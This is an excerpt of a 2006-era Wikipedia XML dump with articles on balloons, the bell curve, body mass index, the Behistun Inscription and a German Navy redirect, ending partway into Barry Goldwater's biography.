      <timestamp>2006-03-01T16:27:49Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/134.53.41.19|134.53.41.19]] ([[User talk:134.53.41.19|Talk]]) to last version by TigerShark</comment>
      <text xml:space="preserve">::''For the [[impedance]] converter, '''see''' the article on'' [[balun]].

[[Image:Mylar balloons.jpg|right|thumb|Balloons, like [[greeting card]]s or [[flower]]s, are given for special occasions.]]
A '''balloon''' is a flexible bag normally filled with gas. Some balloons are purely decorative, others are used for specific purposes. Early balloons were made of dried animal [[urinary bladder|bladder]]s. Modern balloons can be made from materials such as [[rubber]], [[latex]], [[chloroprene]] or a [[nylon]] fabric.  The modern balloon was invented by [[Michael Faraday]] in the 1800's, but mass production didn't occur until the 1930's.

== Usage of balloons ==
*small balloons (volume of a few [[litre]]s)
**[[toy balloon]]
**decoration
**[[solar balloon]]
**[[balloon mail]] as part of a [[balloon flight competition]] or to spread information
**[[Balloon helicopter]]
**Demonstration of rocket propulsion by letting the gas stream away ([[balloon rocket]])
**[[Ceiling balloon]]
*medium balloons (volume of hundreds to thousands of litres)
**transport of bombs (in World War II, FUGU-Balloon)
**transport of propaganda (in World War II and in the Cold War)
**[[Ceiling balloon]]
**[[Weather balloon]] used with a [[Radiosonde]]
*as fixed balloon
**for carrying advertising signs
**to carry antennae for LF and VLF
**[[party balloon]]
*large balloons (volume up to 12000 [[cubic metre]]s)
**fixed balloon
***as manned observation post (before World War II)
***[[barrage balloon]]
***[[observation balloon]] for military reconnaissance
***positioning atomic bombs for bomb tests in the atmosphere
**free flying balloons
***lifting people, usually with a [[hot air balloon]]
***[[airship]] actually a buoyant aircraft rather than a balloon
***[[research balloon]] with instrumentation, also to carry telescopes
***[[rockoon]]
***[[balloon satellite]] for space research.
***[[espionage balloon]] for military reconnaissance

Also, you may or may not know this, but clowns have the ability to blow up balloons and bend them into many different shapes, such as dogs, cats, hats, swords and other neat things!

[[image:yellow.balloon.inflation.arp.jpg|thumb|right|250px|| A [[hot air balloon]] is inflated at Royal Victoria Park, Bath, England]]

== Balloons as flying machines ==
Large balloons filled with hot air or buoyant gas have been used as flying machines since the 18th century. See [[Balloon (aircraft)]] and [[Hot air balloon]]

Such balloons, which lift a payload using buoyancy, should not be confused with balloons in space, launched with a [[rocket]], which are simply large deployable structures.

Balloons are sometimes used in form of a [[rockoon]] as carrier for rockets.

Examples:
*[[Echo satellite]]
*[[Decoy]]s accompanying [[ICBM]]s in midcourse, see also [[countermeasure]]

== Balloons as decoration or entertainment ==

[[Image:Balloons-KayEss-1.jpeg|thumb|left|Party balloons]]

'''Party balloons''' are mostly made of natural [[latex]] tapped from [[rubber tree]]s and can be filled with [[Earth's atmosphere|air]], [[helium]], [[water]], or any other suitable liquid or gas. The rubber makes the volume adjustable.

Filling with air is done with the mouth or with a [[pump]].

When rubber balloons are filled with helium so that they float (restrained by ribbons or strings) they can hold their shape for only a few hours. The enclosed air or helium escapes through small [[pore]]s in the rubber. If helium is used the gas escapes quicker than in the case of air because the helium atoms are much smaller than the nitrogen and oxygen molecules in air.

Even a perfect rubber membrane eventually loses the gas to the outside, and its contents are contaminated by oxygen and nitrogen migrating inward from the outside. The gases in question actually dissolve in the rubber on one side and are released from solution on the other. The process by which a substance or solute migrates from a region of high concentration, through a barrier or membrane, to a region of lower concentration is called [[diffusion]]. The inside of balloons can be treated with a special gel (e.g. &quot;Hi Float&quot; brand) which coats the inside of the balloon to reduce the helium leakage, thus increasing float time. Latex rubber balloons are completely biodegradable, but cannot safely be released into the environment: they are a serious hazard to birds and wetland animals that confuse the balloons for food.

[[Image:Balloonsanimals.jpg|thumb|right|Metallized nylon animal-shaped baloons]]
Beginning in the early [[1990s]], some more expensive (and longer-lasting) helium balloons have been made of thin, unstretchable, impermeable metallized [[nylon]] films. These balloons are often mistakenly called [[Mylar]] balloons. These balloons have attractive shiny reflective surfaces and are often printed with colour pictures and patterns. The most important attributes of metallized nylon for balloons are its light weight, increasing buoyancy and its ability to keep the helium gas from escaping for several weeks. However, there has been some environmental concern, since the metallized nylon does not [[biodegrade]] or shred as a rubber balloon does, and a helium balloon released into the atmosphere can travel a long way before finally bursting or deflating.  Release of these types of balloons into the atmosphere is harmful to the environment.

Partygoers sometimes entertain each other by untying a balloon and inhaling the helium. Because the [[speed of sound]] in helium is about twice that in air, the helium causes the vocal tract to become more responsive to high-pitched sounds and less responsive to lower ones. The result is a voice that sounds high-[[pitch (music)|pitch]]ed (and usually very funny).

[[Balloon modelling|Balloon artists]] are entertainers who twist and tie inflated tubular balloons into sculptures (see also [[balloon animal]]). The balloons used for balloon sculpture are made of extra-stretchy rubber so that they can be twisted and tied without bursting. Since the pressure required to inflate a balloon is [[inversely proportional]] to the diameter of the balloon, these tiny tubular balloons are extremely hard to inflate initially. A pump is usually used to inflate these balloons.

Decorators may use dozens of helium balloons to create balloon sculptures.  Usually the round shape of the balloon restricts these to simple arches or walls, but on occasion more ambitious &quot;sculptures&quot; have been attempted with great success. The balloon decorating industry offers everything from simple balloon columns to stunning, very large and detailed sculptures.

'''[[Water balloon]]s''' are thin, small rubber balloons intended to be easily broken. They are usually used by children, who throw them at each other, trying to get each other wet - see [[practical joke]].

==Balloons in medicine==

[[Angioplasty]] is a surgical procedure in which very small balloons are inserted into blocked or partially blocked [[blood vessel]]s near the heart. Once in place, the balloon can be inflated to clear or compress [[arterial plaque]], and to stretch the walls of the vein. A small [[stent]] can be inserted in its place to keep the vessel open after the balloon's removal. See [[myocardial infarction]].

Certain [[catheters]] have balloons at their tip to keep them from slipping out, for example the balloon of a [[Foley catheter]] is insufflated when the catheter is inserted into the [[urinary bladder]] and secures its position.

== Records ==
=== Maximum flight heights ===

'''Manned Balloon'''

The altitude record for manned balloons is 34668 metres. It was made by Malcolm D. Ross and Victor E. Prather over the Gulf of Mexico in 1961.


'''Unmanned Balloon'''

The altitude record for unmanned balloons is (1991 edition of Guinness Book) 51.8 kilometres. The vehicle was a Winzen-Balloon with a volume of 1.35 million cubic metres, which was launched in October 1972 in Chico, California, USA. This is the greatest altitude ever reached by a flying object requiring the surrounding air. Higher altitudes can only be reached by ballistic vehicles such as [[rocket]]s, [[rocket plane]]s or [[projectile]]s.

== Balloon tank ==

See [[Atlas (rocket)]].

== Usage of Balloons on other planets ==
In 1984 the Russian space probe [[Vega program|Vega]] released two [[aerobot]]s into the atmosphere of [[Venus (planet)|Venus]], from which signals were received for two days.

== Balloons in movies ==
* ''The Balloonatic'' (1923)
* ''The Wizard of Oz'' (1939)
* ''Trottie True'' (1949)
* ''Globex's messy break'' (1954)
* ''Around the World in Eighty Days'' (1956)
* ''The Red Balloon'' (1956)
* ''Stowaway in the Sky'' (1960)
* ''Mysterious Island'' (1961)
* ''Five Weeks in a Balloon'' (1962)
* ''The Great Race'' (1965)
* ''Those Magnificent Men in Their Flying Machines, or How I Flew from London to Paris in 25 hours 11 minutes'' (1965)
* ''Charlie Bubbles'' (1967)
* ''Chitty Chitty Bang Bang'' (1968)
* ''The Great Bank Robbery'' (1969)
* ''The Muppet Movie'' (1979)
* ''The Chipmunk Adventure'' (1987)
* ''Batman'' (1989)
* ''Around the World in 80 Days'' (2004)

== See also ==
* [[Aerobot]]
* [[Balloon fetish]]
* [[Balloon mail]]
* [[Balloon animal]]
* [[Balloon modelling]]
* [[Dragon ballooning]]
* [[Radiosonde]]
* [[Rockoon]]
* [[Speech balloon]]

== External links ==
{{Commons2|Balloons}}
*[http://www.art-of-balloon-animals.ask-the-monkey.com Work of a typical balloon artist]
*[http://www.mbfloyd.com Balloon art instructions and gallery]
*[http://www.wilderdom.com/games/descriptions/gamesballoons.html Guide to Games &amp; Activities with Balloons]

[[Category:Parties]]
[[Category:Balloons| ]]

[[de:Ballon]]
[[hu:Hőlégballon]]
[[nl:Ballon]]
[[ja:風船]]
[[pl:Balon]]
[[sv:Ballong]]
[[vi:Khí cầu]]
[[zh:气球]]</text>
    </revision>
  </page>
  <page>
    <title>Bell curve</title>
    <id>4787</id>
    <revision>
      <id>21411097</id>
      <timestamp>2005-08-20T04:21:06Z</timestamp>
      <contributor>
        <username>Pterodactyler</username>
        <id>306418</id>
      </contributor>
      <comment>The Bell Curve is not primarily about race</comment>
      <text xml:space="preserve">* The graph of the [[probability density function]] of the [[normal distribution]] is sometimes called '''''the bell curve''''' or '''''the bell-shaped curve'''''; see [[normal distribution]].
* ''[[The Bell Curve]]'' is a [[controversial book]] that examines intelligence as a factor in US social problems.
* [[Bell curve grading]] is a method of grading examinations.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Body mass index</title>
    <id>4788</id>
    <revision>
      <id>41681302</id>
      <timestamp>2006-03-01T00:55:16Z</timestamp>
      <contributor>
        <ip>84.92.176.116</ip>
      </contributor>
      <comment>/* Problems */</comment>
      <text xml:space="preserve">The '''body mass index''' ('''BMI''') or '''Quetelet Index''' is a [[quotient]] of body mass which takes into account both height and weight measured as '''kg/m&lt;sup&gt;2&lt;/sup&gt;''', and is used as a simple means of classifying sedentary individuals into groups in relation to their body mass. Despite the fact it only takes into consideration 2 dimensions of the human body, it is only used as a quotient of an individual's body mass, which in clinical practice would be used in correlation with a body mass index chart. It was originally developed between [[1830]] and [[1850]] by the [[Belgium|Belgian]] [[polymath]], [[Adolphe Quetelet]] during the course of developing &quot;social physics&quot;. Despite its age, is still used today by government health bodies to see trends in health and illness.
 
:&lt;math&gt;\mbox{BMI} = \frac{weight (kg) }{height (m) ^2}&lt;/math&gt;

== Uses ==
=== Statistical device ===
[[Image:Body mass index-weightheight.jpg|thumb|left|An example of a somewhat older body mass index chart.]]
The Body Mass Index is generally used as a means of correlation between groups related by general mass and can serve as a basic means of estimating [[adipose tissue|adiposity]]. However, the duality of the Body Mass Index is, that, whilst easy-to-use as a general calculation, it is limited in how accurate and pertainant the data obtained from it can be. Generally, the Index is suitable for recognising trends within sedentary or overweight individuals because there is a smaller margin for errors {{ref|jeuken}}. 

This general correlation is particularly useful for consensus data regarding obesity or various other conditions because it can be used to build a semi-accurate representation from which a solution can be stipulated, or the [[Recommended Dietary Allowance|RDA]] for a group can be calculated. Similarly, this is becoming more and more pertinent to the growth of children, due to the majority of their exercise habits. {{ref|barasi}} 

The growth of children is usually documented against a BMI-measured growth chart. Obesity trends can be calculated from the difference between the child's BMI and the BMI on the chart. However, this method again falls prey to the obstacle of body composition: many children who are generally born, or grow as an [[Endomorphic|endomorph]], would be classed as obese despite body composition.  Clinical professionals should take into account the child's body composition and defer to an appropriate technique such as [[densiometry]].

Although the BMI is a relatively simple and quick process for calculating overall body mass, as with any data estimation that spans masses there are likely to be anomalies and errors of ranging proportion.

=== Clinical practice ===
BMI is typically used as a means of estimating body mass, and can be calculated without the need for any equipment other than those for measuring height and weight.  BMI can have a varying margin of error because it is merely a rough estimate of body mass which does not take into account factors such as body composition or muscular mass. {{ref|jeuken}} 

Despite this inaccuracy, the BMI is generally regarded as accurate when calculating if a sedentary individual is classed as obese, and has been used by the [[World Health Organization|'''WHO''']] as the standard for recording obesity statistics since the early [[1980]]s. The reasoning for the use of the BMI in sedentary individuals is because body composition is thought to be a lesser factor; the use of other, more advanced body composition techniques would be seen as extraneous.

Patients who are young or elderly, underweight or have high muscular mass would create fluctuations in the accuracy of the results from using the BMI, due to differentiations in muscular mass, or bone density (within children). In such cases, any doubt would result in the practitioner deferring to other techniques as a means of attaining more accurate results. If the correct mass of an individual is essential; e.g. in the case of a calorie or energy controlled weight-gain diet, then more accurate tests such as a [[skinfold]] measurement or [[bioelectrical impedance analysis]] would be required.

=== Problems ===
The duality of the Body Mass Index is that, whilst being an easy-to-use quotient for body mass of sedentary individuals, it is a very imprecise calculation outside of sedentary groups. It is calculated using only two dimensions of the human body, due to the fact that the majority of the calculation was based on the intuition of its creator, and not through [[experimental design]]. For example; comparison of a bodybuilder and a sedentary or obese individual of the same weight and height would produce similar results, which would be designated obese; regardless of the body composition of either.

Of course, at that time  was not yet known, so that Quatelet was working strictly from intuition.  Unfortunately his intuition was only 2/3 correct.  His equation assumes a two dimensional human body, which just isn't so.  As a practical consequence, his results are too high for short people and too low for for tall people.

As a general rule, developed muscle contributes more to weight than fat; and it is through this fact that the body mass index can be readily classed as widely erroneous. It could be stipulated that long-distance or endurance athletes would be classified as underweight, despite the fact that the individual could be widely regarded as the perfect composite for their particular sport. However, within professional practice, body composition for athletes '''would not be calculated using the body mass index''', and would most likely be done using an amalgamation of skinfold measurements and bio-electrical impedance analysis.

== Standards ==
=== Thresholds ===
Human bodies rank along the index from around 15 (near starvation) to over 40 (morbidly obese). This statistical 'curve' is usually [[Descriptive_statistics|described]] using more familiar categories for easier comprehension by health professionals; eg, severe underweight, underweight, optimum weight, pre-obese, obese, morbidly obese. The exact index values used to determine weight categories vary from authority to authority, but in general a BMI less than 18.5 is underweight and may indicate [[malnutrition]], an [[eating disorder]], or other health problems, while a BMI greater than 25 is overweight and above 30 is considered [[obesity|obese]]. These range boundaries apply to adults over 20 years of age. Interestingly enough, recent studies on adolescent BMI levels have indicated that British females between the ages of 14 and 16 have 1.2 times the normal calculated levels.

The U.S. National Health and Nutrition Examination Survey of [[1994]] indicates that 59% of American men and 49% of women have BMIs over 25.  Extreme obesity &amp;mdash; a BMI of 40 or more &amp;mdash; was found in 2% of the men and 4% of the women.

[http://www.obesity.com.au/bmi.html Body mass index calculations] are not just for adults&amp;mdash;they can also be used to identify the growing number of overweight children. BMI for children aged 2 to 20 years is calculated just as it is for adults, but it is classified differently. Instead of set thresholds for underweight and overweight, it is their BMI [[percentile]] that is important. For children, a BMI that is less than the 5th percentile is considered underweight and above the 95th percentile is overweight. Children with a BMI between the 85th and 95th percentile are considered to be at risk of becoming overweight.

=== Recommended thresholds ===
Given the reservations detailed above concerning the limitations of the BMI as a diagnostic tool for individuals, the following are common definitions of BMI thresholds:

====Males====
* Underweight: less than 20 (&lt;20)
* Ideal: greater than or equal to 20 but less than 25 (≥20 but &lt;25)
* Overweight: greater than or equal to 25 but less than 30 (≥25 but &lt;30)
* Obese: greater than or equal to 30 (≥30)

====Females====
* Underweight: less than 18 (&lt;18)
* Ideal: greater than or equal to 18 but less than 25 (≥18 but &lt;25)
* Overweight: greater than or equal to 25 but less than 30 (≥25 but &lt;30)
* Obese: greater than or equal to 30 (≥30)

(before being woried if your BMI does not fit your liking you should  read the section about the disadvantages of the BMI system)

====Variations====
These recommended distinctions along the linear scale may vary from time to time and country to country, making global, longitudinal surveys problematic. In 1998, the U.S. [[National Institutes of Health]] brought U.S. definitions into line with [[World Health Organization|WHO]] guidelines, lowering the normal/overweight cut-off from BMI 27.8 to BMI 25. This had the effect of redefining approximately 30 million Americans, previously &quot;technically healthy&quot; to &quot;technically overweight&quot;. The [[World Health Organization|WHO]] uses the term &quot;pre-obese&quot; where the USA uses &quot;overweight&quot;. It also recommends lowering the normal/overweight threshold for South East Asian body types to around BMI 23, and expects further revisions to emerge from clinical studies of different body types.

For Asians, the new cut-off BMI index for obesity is 27.5 compared with the traditional WHO figure of 30. An Asian adult with a BMI of 23 or greater is now considered overweight and the ideal normal range is 18.5-22.9. [http://www.hpb.gov.sg/hpb/default.asp?TEMPORARY_DOCUMENT=1769&amp;TEMPORARY_TEMPLATE=2 Singapore BMI Cut-offs]

== References ==
&lt;!-- Instructions for adding a footnote:
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9.
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately proceeds yours in the article body.
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
     5) Multiple footnotes to the same reference will not work: you must insert two uniquely named footnotes.
   NOTE: It is important to add the Footnote in the right order in the list.
--&gt;
#{{note|BMIconcerns}} [http://www.healthpolicyohio.org/publications/obesity.html Obesity: The Health Debate and Policy Challenges], page 4. Health Policy Institute of Ohio, 2005. (Accessed October 31, 2005).
# {{note|barasi}} Barasi, M. E (2004) ''Human Nutrition - a health perspective'' 
# {{note|jeuken}} Jeukendrup, A &amp; Gleeson, M. (2005) ''Sports Nutrition'' Human Kinetics

==See also==
* [[Body fat percentage]]

==External links==
&lt;!--Please do not add more links to more calculators. One is really enough. If you feel a particular online calculator has specific merits, please propose the link on the talk page.--&gt;
* Online BMI Calculator (in [http://nhlbisupport.com/bmi/bmicalc.htm imperial] or [http://nhlbisupport.com/bmi/bmi-m.htm metric] system) (National Heart, Lung, and Blood Institute)
* U.S. National Centre for Health Statistics [http://www.cdc.gov/growthcharts/ BMI Growth Charts for children and young adults]
* BodyTweaking [http://www.bodytweaking.com/BMI-to-Fat-Calculator/ BMI to Fat Percentage Calculator]


[[Category:Mass]]
[[Category:Nutrition]]
[[Category:Obesity]]

[[ca:Índex de massa corporal]]
[[cs:Index tělesné hmotnosti]]
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[[es:Índice de masa corporal]]
[[fa:نمایه جرم بدن]]
[[fr:Indice de masse corporelle]]
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[[ja:ボディマス指数]]
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[[vi:Chỉ số khối cơ thể]]
[[zh:身高體重指數]]</text>
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  <page>
    <title>Behistun Inscription</title>
    <id>4789</id>
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      <timestamp>2006-02-25T10:27:20Z</timestamp>
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        <ip>62.57.2.79</ip>
      </contributor>
      <comment>fixing interwikis  +: gl</comment>
      <text xml:space="preserve">[[Image:BehistunInscriptionSketch.jpg|thumb|300px|The '''Behistun Inscription''', carved into a cliffside, gives the same text in three languages, telling the story of [[Darius I of Persia|King Darius]]' conquests.  It is illustrated by life-sized carved images of King Darius with other figures in attendance.]] 

The '''Behistun Inscription''' (also '''Bisitun''' or '''Bisutun''', &amp;#1576;&amp;#1740;&amp;#1587;&amp;#1578;&amp;#1608;&amp;#1606; in [[Persian language|modern Persian]]) is to [[Cuneiform script|cuneiform]] what the [[Rosetta Stone]] is to [[Egyptian hieroglyph]]s: the document most crucial in the [[decipherment]] of a previously lost [[writing system|script]]. It is located in the [[Kermanshah Province]] of [[Iran]].

The inscription includes three versions of the same text, written in three different scripts and languages: [[Old Persian language|Old Persian]], [[Elamite language|Elamite]], and [[Babylonian language|Babylonian]].  A British army officer, [[Sir Henry Rawlinson]], had the inscription transcribed in two parts, in 1835 and 1843. Rawlinson was able to translate the Old Persian cuneiform text in 1838, and the Elamite and Babylonian texts were translated by Rawlinson and others after 1843. Babylonian was a later form of [[Akkadian language|Akkadian]]: both are [[Semitic languages]].

==The inscription== 
The text of the inscription is a statement by [[Darius I of Persia]], written three times in three different scripts and languages: two languages side by side, [[Old Persian language|Old Persian]] and [[Elamite language|Elamite]], and [[Babylonian language|Babylonian]] above them. Darius ruled the [[Persian Empire]] from [[521 BC|521]] to [[486 BC]]. Some time around [[515 BC]], he arranged for the inscription of a long tale of his accession in the face of the usurper [[Smerdis of Persia]] (and Darius' subsequent successful wars and suppressions of rebellion) to be inscribed into a cliff near the modern town of Bisistun, in the foothills of the [[Zagros Mountains]] of [[Iran]], just as one reaches them from the [[Kermanshah Plain]]. 

The inscription is approximately 15&amp;nbsp;[[metre]]s high by 25&amp;nbsp;metres wide, and 100&amp;nbsp;metres up a [[limestone]] cliff from an ancient road connecting the capitals of [[Babylonia]] and [[Medes|Media]] ([[Babylon]] and [[Ecbatana]]). It is extremely inaccessible as the mountainside was removed to make the inscription more visible after its completion. The Old Persian text contains 414 lines in five columns; the Elamite text includes 593 lines in eight columns and the Babylonian text is in 112 lines. The inscription was illustrated by a life-sized bas-relief of Darius, two servants, and ten one-metre figures representing conquered peoples; the god [[Ahura Mazda]] floats above, giving his blessing to the king. One figure appears to have been added after the others were completed, as was (oddly enough) Darius' beard, which is a separate block of stone attached with [[iron]] pins and [[lead]]. [[Image:Behistun DB1 1-15.jpg|thumb|330px|Column 1 (DB I 1-15), sketch by Fr. Spiegel (1881).]]

It is believed that Darius placed the inscription in an inaccessible position to make it tamper-resistant. Readability took second place to this demand: the text is completely illegible from ground level.  The Persian king did not account for the creation of a pool of water at the bottom of the cliff, which brought increased human traffic to the area.  Considerable damage has been caused to some figures.

==In ancient history== 
The first historical mention of the inscription is by the Greek [[Ctesias|Ctesias of Cnidus]], who noted its existence some time around [[400 BC]], and mentions a well and a garden beneath the inscription dedicated by Queen [[Semiramis of Babylon]] to [[Zeus]] (the Greek analogue of [[Ahura Mazda]]). [[Gaius Cornelius Tacitus|Tacitus]] also mentions it and includes a description of some of the long-lost ancillary monuments at the base of the cliff, including an altar to [[Hercules]]. What has been recovered of them, including a statue dedicated in 148 BC, is consistent with Tacitus' description. [[Diodorus Siculus|Diodorus]] also writes of &quot;Bagistanon&quot; and claims it was inscribed by Queen Semiramis.

After the fall of the Persian Empire and its successors, and the fall of cuneiform writing into disuse, the nature of the inscription was forgotten and fanciful origins became the norm. For centuries, instead of being attributed to Darius &amp;mdash; one of the first Persian kings &amp;mdash; it was believed to be from the reign of [[Khosrau II of Persia|Chosroes II of Persia]] &amp;mdash; one of the last. A legend arose that it had been created by [[Farhad]], a lover of Chosroes' wife, [[Shirin]]. Exiled for his transgression, Farhad is given the task of cutting away the mountain to find water; if he succeeds, he will be given permission to marry Shirin. After many years and the removal of half the mountain, he does find water, but is informed by Chosroes that Shirin had died. He goes mad, and throws himself from the cliff. Shirin is not dead, naturally, and hangs herself upon hearing the news.

==Discovery and translation== [[Image:Darius I the Great's inscription.jpg|thumb|300px|Modern day picture of the inscription.]]
The inscription was noted by an Arab traveller, [[Ibn Hauqal]], in the mid-900s, who interpreted the figures as a teacher punishing his pupils.  It was not until 1598, when the [[England|Englishman]] [[Robert Sherley]] saw the inscription during a diplomatic mission to [[Iran|Persia]] on behalf of [[Austria]], that the inscription first came to the attention of western European scholars. His party came to the conclusion that it was a picture of the [[ascension]] of [[Jesus]] with an inscription in [[Greek language|Greek]]. 

Biblical misinterpretations by Europeans were rife for the next two centuries.  French General Gardanne thought it showed Christ and his [[twelve apostles]], and [[Robert Ker Porter|Sir Robert Ker Porter]] thought it represented the 12 [[tribes of Israel]] and [[Shalmaneser I|Shalmaneser of Assyria]].  Italian explorer [[Pietro della Valle]] visited the inscription in the course of a pilgrimage in around 1621, and German surveyor [[Carsten Niebuhr]] visited in around 1764 while exploring Arabia and the middle east for [[Frederick V of Denmark]], publishing a copy of the inscription in the account of his journeys in 1777.  Niebuhr's transcriptions were used by [[Georg Friedrich Grotefend]] and others in their efforts to decipher the Old Persian cuneiform script. Grotefend had deciphered ten of the 37 symbols of Old Persian by 1802.

In 1835, [[Henry Rawlinson|Sir Henry Rawlinson]], a British army officer training the army of the [[Shah]] of Iran, began studying the inscription in earnest. As the town of Bisistun's name was anglicized as &quot;Behistun&quot; at this time, the monument became known as the &quot;Behistun Inscription&quot;. Despite its inaccessibility, Rawlinson was able to scale the cliff and copy the Old Persian inscription. The Elamite was across a chasm, and the Babylonian four metres above; both were beyond easy reach and were left for later.

Armed with the Persian text, and with about a third of the [[syllabary]] made available to him by the work of Grotefend, Rawlinson set to work on deciphering the text. Fortunately, the first section of this text contained a list of Persian kings identical to that found in [[Herodotus]], and by matching the names and the characters, Rawlinson was able to crack the form of cuneiform used for Old Persian by 1838 and present his results to the [[Royal Asiatic Society]] in [[London]] and the [[Société Asiatique]] in [[Paris]].

Next came the remaining two texts. After a stretch of service in [[Afghanistan]], Rawlinson returned in 1843. Using planks he crossed the gap between the Old Persian text and the Elamite, and copied that. He was then able to find an enterprising local boy to climb up a crack in the cliff and rig ropes across the Babylonian writing, so that [[papier-mâché]] casts of it could be taken. Rawlinson set to work and translated the Babylonian writing and language, working independently of [[Edward Hincks]], [[Julius Oppert]] and [[William Henry Fox Talbot]], who also contributed to the decipherment; [[Edwin Norris]] and others were the first to do the same for the Elamite. As three of the primary languages of [[Mesopotamia]], and three variations of the cuneiform script, these decipherments were one of the keys to putting [[Assyriology]] on a modern footing.

==After Rawlinson==
Later expeditions, in 1904 sponsored by the [[British Museum]] and led by Leonard William King and Reginald Campbell Thompson and in 1948 by George G. Cameron of the [[University of Michigan]], obtained photographs, casts and more accurate transcriptions of the texts, including passages that were not copied by Rawlinson.  It also became apparent that rainwater had dissolved some areas of the limestone in which the text is inscribed, while leaving new deposits of limestone over other areas, covering the text.

The monument suffered some damage from soldiers using it for target practice during [[World War II]].  In recent years, Iranian archaeologists have been undertaking conservations works.

==References==
*Rawlinson, H.C., ''Archaeologia'', 1853, vol. xxxiv, p. 74
*Thompson, R. Campbell. &quot;The Rock of Behistun&quot;. ''Wonders of the Past''. Edited by Sir J. A. Hammerton. Vol. II. New York: Wise and Co., 1937. (p. 760&amp;ndash;767) [http://members.ozemail.com.au/~ancientpersia/behistun.html]
*Cameron, George G. &quot;Darius Carved History on Ageless Rock&quot;. ''[[National Geographic Magazine]]''. Vol. XCVIII, Num. 6, December 1950. (p. 825&amp;ndash;844) [http://members.ozemail.com.au/~ancientpersia/behistun.html]
*[http://www.livius.org/be-bm/behistun/behistun01.html The Livius historical website] &amp;mdash; a comprehensive discussion of the Behistun inscription, with pictures, drawings of the entire cuneiform text, transcription, and a translation to English.
*[http://visopsys.org/andy/essays/darius-bisitun.html Darius the Great and the Bisutun Inscription]

== External links ==
*[http://mcadams.posc.mu.edu/txt/ah/Persia/Behistun_txt.html English translation of the inscription text]
*[http://library.case.edu/ksl/ecoll/books/anoscu00/anoscu00.pdf Case Western Reserve University Digital Library] &amp;mdash; the complete text of the Behistun inscription, in transcribed cuneiform and English translation, available in [[Portable Document Format|PDF]] format
*[https://www.sharemation.com/zoroaster7/BISOTUN.PDF?uniq=ksz8bm  Bisotun]&amp;mdash; the complete text of the bisotun inscription, in transcribed cuneiform and [[Persian language|Persian]] translation, available in pdf format.
*[http://www.payvand.com/news/04/aug/1149.html Iran: Documentation of Behistun Inscription Nearly Complete]
*[http://www.avesta.org/op/op.htm Behistun and many others persian royal inscriptions]

[[Category:Inscriptions]]
[[Category:Achaemenid dynasty]]
[[Category:History of Iran]]
[[Category:Multilingual texts]]

[[ca:Inscripció de Behistun]]
[[cs:Behistunský nápis]]
[[da:Bisutun-inskriptionerne]]
[[de:Behistun-Inschrift]]
[[es:Inscripción de Behistún]]
[[fa:سنگ‌نبشته بیستون]]
[[fr:Inscription de Behistun]]
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[[nl:Behistuninscriptie]]
[[ja:ベヒストゥン碑文]]
[[pl:Inskrypcja z Behistun]]
[[pt:Inscrição de Behistun]]
[[sv:Bisutuninskriften]]</text>
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    <title>Bundesmarine</title>
    <id>4790</id>
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      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[German Navy]]
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  </page>
  <page>
    <title>Barry Goldwater</title>
    <id>4792</id>
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      <id>41880988</id>
      <timestamp>2006-03-02T09:15:31Z</timestamp>
      <contributor>
        <username>Rjensen</username>
        <id>313197</id>
      </contributor>
      <comment>/* Political career */ small changes</comment>
      <text xml:space="preserve">[[image:BarryGoldwater.jpg|frame|Barry Goldwater]]

'''Barry Morris Goldwater''' ([[January 1]], [[1909]] &amp;ndash; [[May 29]], [[1998]]) was a [[United States]] [[politician]] and a founding figure in the modern [[conservatism|conservative]] movement in the USA as well as being a major inspiration for many of his youthful followers to join the [[libertarian]] movement. Goldwater personified the shift in balance in [[American culture]] from [[U.S. Northeast|the Northeast]] to [[U.S. West|the West]]. A five-term [[United States Senate|United States Senator]] from [[Arizona]] (1953-1965, 1969-87), he was the [[Republican Party (United States)|Republican Party]]'s candidate for the [[President of the United States|U.S. President]] in the [[U.S. presidential election, 1964|1964 election]] which he lost to [[Lyndon B. Johnson]].

Many of the policies and ideas advocated by Goldwater were distinctly out-of-step with dominance of the [[New Deal coalition]] in the two decades following [[World War II]]. He was ridiculed in 1964 for being hopelessly old-fashioned.  Yet he energized a conservative grass roots movement which sixteen years later nominated and elected his supporter [[Ronald Reagan]], a [[conservative]] widely seen as in the Goldwater mold. Less than a year after Reagan's election (and continuously to the end of his life), however, Goldwater harshly criticized the alleged influence of the [[Christian Right]] on the [[Factions in the Republican Party (United States)|Republican Party.]] 

==Personal background== 

Goldwater was born in [[Phoenix, Arizona|Phoenix]] in 1909, when Arizona was known as the [[Arizona Territory]].  His grandfather was an immigrant from [[Poland]] who founded a department store chain, [[Goldwater's Department Store]]. His father was born [[Judaism|Jewish]] and converted to the [[Episcopal Church in the United States of America|Episcopal Church]] to marry his fiancée. The family name had been changed from ''Goldwasser'' to ''Goldwater'' at least as early as the 1860 Census in [[Los Angeles, California]]. The family's department store made the Goldwaters comfortably rich.  Goldwater graduated from Staunton Military Academy and attended the [[University of Arizona]] for one year, where he joined the [[Sigma Chi]] fraternity.

His father died in 1929 and Goldwater took over the family business. He had progressive business ideas yet was also anti-union, but the strain of running the business become too much. Goldwater had nervous breakdowns in 1937 and 1939. He began to drink heavily, a health issue he never completely overcame.

With the onset of WWII, Goldwater was commissioned in the [[United States Army Air Forces| Air Force]]. He tried but was unable to get a combat flying assignment. He did get an assignment to the Ferry Command, a newly formed unit that delivered aircraft and supplies to war zones all over the world; he spent most of the war flying between the United States and India, via the Azores and North Africa or South America, Nigeria and Central Africa.  He flew &quot;the hump&quot; over the Himalayas to deliver supplies to China.  He remained in the reserves after the war, retiring at the rank of [[Major General]]. He had flown 165 different types of aircraft by that time. 

Goldwater's son, [[Barry Goldwater, Jr.]], served as a [[United States House of Representatives|U.S. House]] member from [[California]] from [[1969]] to [[1983]].

Goldwater was also an avid [[amateur radio]] operator, call sign K7UGA [http://wireless2.fcc.gov/UlsApp/UlsSearch/license.jsp?licKey=262314].

==Political career==
